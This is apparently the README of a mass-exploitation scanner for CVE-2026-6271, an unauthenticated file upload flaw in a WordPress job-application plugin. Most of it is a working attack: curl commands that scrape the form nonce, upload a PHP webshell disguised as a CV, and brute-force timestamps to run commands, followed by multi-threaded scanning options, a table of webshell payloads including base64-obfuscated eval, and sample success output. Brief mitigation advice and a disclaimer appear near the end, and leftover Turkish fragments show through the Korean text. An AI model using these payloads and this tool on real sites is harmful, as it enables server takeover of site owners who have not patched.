
WordPress Career Section 플러그인의 RCE로 이어지는 중요한 인증되지 않은 임의 파일 업로드인 CVE-2026-6271용 자동화 스캐너. 다중 스레드 스캐닝, 여러 셸 유형 및 프록시 통합을 지원합니다.
플러그인: Career Section (
career-section) CVE ID: CVE-2026-6271 CVSS 점수: 9.8 (Critical) CVSS 벡터:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H취약점 유형: 인증되지 않은 임의 파일 업로드 → 원격 코드 실행 영향을 받는 버전: <= 1.7 패치된 버전: 1.8 공개 날짜: 2026년 5월 13일 연구자: Paolo Tresso — Wordfence
Career Section 플러그인은 사이트 소유자가 채용 공고를 게시하고 지원서를 접수할 수 있게 해줍니다. 각 채용 공고 페이지에는 "Apply Now" 양식이 있습니다. 이 양식에는 CV 파일 업로드 필드가 포함되어 있습니다.
1.7 및 이전 버전에서는 업로드 핸들러가 .php를 포함한 모든 파일 유형을 허용합니다. 양식이 공개되어 있고 CSRF 토큰이 페이지 HTML에 내장되어 있으므로 어떤 계정이나 권한도 없이 이 취약점을 악용할 수 있습니다.
WordPress nonce는 CSRF 토큰이지 인증 토큰이 아닙니다. nonce 값은 모든 방문자에 대해 페이지 HTML에 내장됩니다:
<script id='prosolwpclient-public-js-extra'>
<!-- templates/single-csection.php — line 316 -->
<?php wp_nonce_field( 'csaf_form_submission', 'csaf_form_nonce' ); ?>
</script>
인증되지 않은 모든 방문자는 유효한 nonce를 얻을 수 있으며 검증 확인을 통과할 수 있습니다.
// templates/single-csection.php — lines 170–182 (version 1.7)
if ( ! empty( $_FILES['cv']['name'] ) && ! empty( $_FILES['cv']['tmp_name'] ) ) {
$original_name = sanitize_file_name( $_FILES['cv']['name'] );
$name_file = time() . '_' . $original_name;
$destination = $cs_dir . '/' . $name_file;
// 확장자 검사 없음 — .php를 포함한 모든 것이 허용됨
if ( $wp_filesystem->move( $_FILES['cv']['tmp_name'], $destination, true ) ) {
$uploaded_file_url = $upload_dir['baseurl']
. '/cs_applicant_submission_files/'
. $name_file;
}
}
sanitize_file_name()은 특수 문자만 정리할 뿐 위험한 확장자를 차단하지 않습니다.
wp-content/uploads/cs_applicant_submission_files/<timestamp>_<filename>
이 디렉터리에는 PHP 실행을 차단하는 .htaccess 파일이 없습니다.
| 이유 | 설명 |
|---|---|
| 인증 불필요 | nonce가 공개 HTML에 내장됨 |
| 파일 유형 제한 없음 | .php, .php5, .phtml 허용됨 |
.htaccess 보호 없음 | 업로드 디렉터리에서 PHP 실행됨 |
| 예측 가능한 파일 이름 | time()_filename → 타임스탬프 무차별 대입 |
⚠️ 면책 조항: 이 PoC는 교육 목적으로만 제공됩니다. 소유한 시스템이나 명시적 서면 허가를 받은 시스템에서만 테스트하십시오.
전제 조건:
echo '<?php system($_GET["cmd"]); ?>' > shell.php
TARGET="http://target.com"
JOB_URL="$TARGET/careers/software-engineer/"
NONCE=$(curl -s "$JOB_URL" \
| grep -oP 'name="csaf_form_nonce" value="\K[^"]+')
echo "Nonce: $NONCE"
페이지 소스에서 찾을 구조:
<input type="hidden"
id="csaf_form_nonce"
name="csaf_form_nonce"
value="a1b2c3d4e5" />
TS=$(date +%s)
curl -s -X POST "$JOB_URL" \
-F "first_name=John" \
-F "last_name=Doe" \
-F "present_address=123 Main St" \
-F "[email protected]" \
-F "mobile_no=1234567890" \
-F "post_name=Engineer" \
-F "submit=Submit" \
-F "csaf_form_nonce=$NONCE" \
-F "[email protected];type=application/pdf" \
| grep -o "Application has been sent"
파일 이름은 <timestamp>_shell.php 형식입니다. $TS 주변의 타임스탬프를 시도하세요:
UPLOADS="$TARGET/wp-content/uploads/cs_applicant_submission_files"
for T in $(seq $((TS-2)) $((TS+2))); do
URL="$UPLOADS/${T}_shell.php"
RESULT=$(curl -s "$URL?cmd=id")
if echo "$RESULT" | grep -q "uid="; then
echo "Webshell aktif: $URL"
echo "RCE çıktısı : $RESULT"
break
fi
done
예상 출력:
웹셸 활성화: http://target.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
RCE 출력 : uid=33(www-data) gid=33(www-data) groups=33(www-data)
git clone https://github.com/kullanici/cve-2026-6271-scanner
cd cve-2026-6271-scanner
pip install -r requirements.txt
requirements.txt
requests
python career_section_rce.py -u http://hedef.com
python career_section_rce.py -u http://hedef.com \
--job-url http://hedef.com/careers/engineer/
python career_section_rce.py -u http://hedef.com \
--verify-cmd "whoami"
python career_section_rce.py -l targets.txt -t 20 -o sonuclar.txt
python career_section_rce.py -u http://hedef.com --ts-window 10
python career_section_rce.py -u http://hedef.com \
--shell-type full \
--proxy http://127.0.0.1:8080
| 매개변수 | 약어 | 설명 | 기본값 |
|---|---|---|---|
--url | -u | 단일 대상 URL | — |
--list | -l | 대상 목록 파일 | — |
--threads | -t | 스레드 수 | 10 |
--output | -o | 출력 파일 | rce_confirmed.txt |
--job-url | — | 직접 채용 공고 URL | — |
--shell-name | — | 업로드할 파일 이름 | shell.php |
--shell-type | — | 셸 유형 | system |
--verify-cmd | — | RCE 확인 명령 | id |
--ts-window | — | 타임스탬프 무차별 대입 창(±초) | 5 |
--proxy | — | 프록시 URL | — |
--timeout | — | 요청 타임아웃(초) | 10 |
| 유형 | Payload | 설명 |
|---|---|---|
system | <?php system($_GET["cmd"]); ?> | 기본 시스템 명령 |
passthru | <?php passthru($_GET["cmd"]); ?> | 원시 출력 |
exec | <?php echo exec($_GET["cmd"]); ?> | 무음 실행 |
assert | <?php assert($_POST["cmd"]); ?> | POST를 통한 eval |
b64 | <?php eval(base64_decode($_POST["cmd"])); ?> | Base64 난독화 |
full | shell_exec + system + exec fallback | 완전한 기능을 갖춘 셸 |
WordPress Kök/
└── wp-content/
└── uploads/
└── cs_applicant_submission_files/
└── <timestamp>_shell.php ← 셸이 여기에 있음
직접 접근:
curl "http://hedef.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
| 상태 | 설명 |
|---|---|
★ RCE OK | 셸 업로드됨 + 명령이 성공적으로 실행됨 |
★ SHELL ALIVE | 셸에 접근 가능, 다른 응답 반환 |
~ EXEC_DISABLED | 셸이 존재하지만 서버에서 exec()가 비활성화됨 |
? UPLOADED | 업로드되었지만 타임스탬프를 찾을 수 없음 |
- BLOCKED | 파일 유형이 차단됨 (패치된 버전) |
~ NO_NONCE | csaf_form_nonce를 찾을 수 없음 |
~ TIMEOUT | 연결 시간 초과 |
~ UNREACH | 대상에 연결할 수 없음 |
[*] 3개 대상 | CVE-2026-6271 Career Section | threads=10
[★ RCE OK ] http://hedef1.com
Nonce : a1b2c3d4e5 (출처: http://hedef1.com/careers/engineer/)
Shell URL : http://hedef1.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
RCE 출력 : uid=33(www-data) gid=33(www-data) groups=33(www-data)
[- BLOCKED ] http://hedef2.com (파일 유형이 차단됨)
[~ NO_NONCE ] http://hedef3.com (csaf_form_nonce를 찾을 수 없음)
──────────────────────────────────────────────────────────────
UPLOADED_RCE_OK : 1 █
BLOCKED : 1 █
NO_NONCE : 1 █
──────────────────────────────────────────────────────────────
RCE 확인됨 → rce_confirmed.txt
──────────────────────────────────────────────────────────────
| 조치 | 적용 방법 |
|---|---|
| 플러그인 업데이트 | Career Section 1.8 이상으로 업그레이드 |
| PHP 실행 차단 | 업로드 디렉터리에 .htaccess 추가 |
| 확장자 화이트리스트 | pdf, doc, docx만 허용 |
| MIME 검증 | finfo_file()로 실제 콘텐츠 확인 |
| WAF 규칙 | .php 업로드 요청 차단 |
wp-content/uploads/cs_applicant_submission_files/ 디렉터리용 .htaccess:
<FilesMatch "\.php\d?$">
Deny from all
</FilesMatch>
Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar
cve-2026-6271-scanner/
├── career_section_rce.py # 기본 스캐너
├── requirements.txt # 의존성
└── README.md # 이 파일
이 도구와 PoC는 승인된 시스템에서 교육 목적 및 침투 테스트 범위 내에서만 사용하도록 제작되었습니다. 무단 시스템에서의 사용은 터키 형법 제243-245조 및 국제 사이버 범죄법에 따라 범죄 행위에 해당합니다. 개발자는 도구의 악용으로 인해 발생하는 어떠한 법적 책임도 지지 않습니다.
MIT License — 교육 및 연구 목적으로만 사용할 수 있습니다.